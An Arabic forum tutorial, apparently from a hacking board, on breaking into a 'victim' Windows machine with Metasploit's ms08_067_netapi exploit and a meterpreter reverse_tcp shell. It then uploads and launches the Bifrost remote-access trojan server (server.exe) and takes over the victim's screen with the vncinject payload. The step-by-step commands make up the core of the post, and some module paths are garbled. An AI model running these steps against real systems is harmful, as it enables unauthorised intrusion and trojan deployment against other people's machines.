الإختراق القاتل مـع M3tasplo!t+Bifrost

ل مـع M3tasplo!t+Bifrost

[وأنا أفكر طرأت لي فكرة لا أعرف إن كانت طرحت بعد المهم هي إختراق الضحية بالميتا ورفع سيرفر بيفروست وكما سأتحدث عن سيطرة الجهاز بإستخدام playoad windows/vncinject
وسأجربها علي جهاز إفتراضي كفانا من الكلام ولنبدأ.

من يرد التجربة علي جهازه فليقم بتحميل vbox أو ليقرأ الموضوع علي هذا الرابط
والشرح سيكون بالصور

نقرتين لعرض الصورة في صفحة مستقلة

كود:

إضغط علي window وبعد ذلك علي console ستفتح لنا النافذة التالية نكتب show exploits





نقرتين لعرض الصورة في صفحة مستقلة
كود:

ونختار windows/smb/ms08_067_netapi

show payloads

[/CODE]
نقرتين لعرض الصورة في صفحة مستقلة
كود:

ونختار windows/meterpreter/reverse_tcp

أو نختارها مباشرة كما ف الصورة


نقرتين لعرض الصورة في صفحة مستقلة

والآن نقوم بتحديد IP الضحية وهو في هذه الحالة جهازي الإفتراضي RHOST = 192.168.56.101
ولا تنسي أن تضع قم جهازك LHOST =192.168.56.1 لتطبيق الثغرة نكتب exploit وبعد ذلك enter

نقرتين لعرض الصورة في صفحة مستقلة

كما ترون في الصورة لقد نجحنا في تطبيق الثغرة والدخول لي الجهاز عن طريق port 445

************************************************** **********************

لنري خيارات نكتب help والآن سنقوم برفع السيرفر بالأمر
كود:

upload -r server.exe c:\


كما في الصورة التالية ولكن قبل تحميل السيرفر يجب نسخه في مجلد
كود:

C:\Program Files\****sploit\Framework3


نقرتين لعرض الصورة في صفحة مستقلة

************************************************** ***********************
بعد رفع السيرفر نشغل برنامج الدوس للضحية بالأوامرالتالية:

execute -f cmd.exe -c
interact 3
كما في الصورة حسب رقم channel أو session المفتوح
كود:

use -m process


نقرتين لعرض الصورة في صفحة مستقلة

لتشغيل السيرفر start server.exe

************************************************** ************************

وكما توضح الصورة نجاح تحميل السيرفر

نقرتين لعرض الصورة في صفحة مستقلة

والصور تعبر عن نفسها

نقرتين لعرض الصورة في صفحة مستقلة

شاشة الضحية

نقرتين لعرض الصورة في صفحة مستقلة

************************************************** ************************

لتطبيق payload windows/vncinject نقوم بنفس الخطوات السابقة ولكن بإستبدال

set windows/vncinject/reverse_tcp

بتطبيق الثغرة ستفتح لنا الشاشة التالية
كود:

windows/meterpreter/smb/ms08_067_netapi


نقرتين لعرض الصورة في صفحة مستقلة












التوقيع
scorpion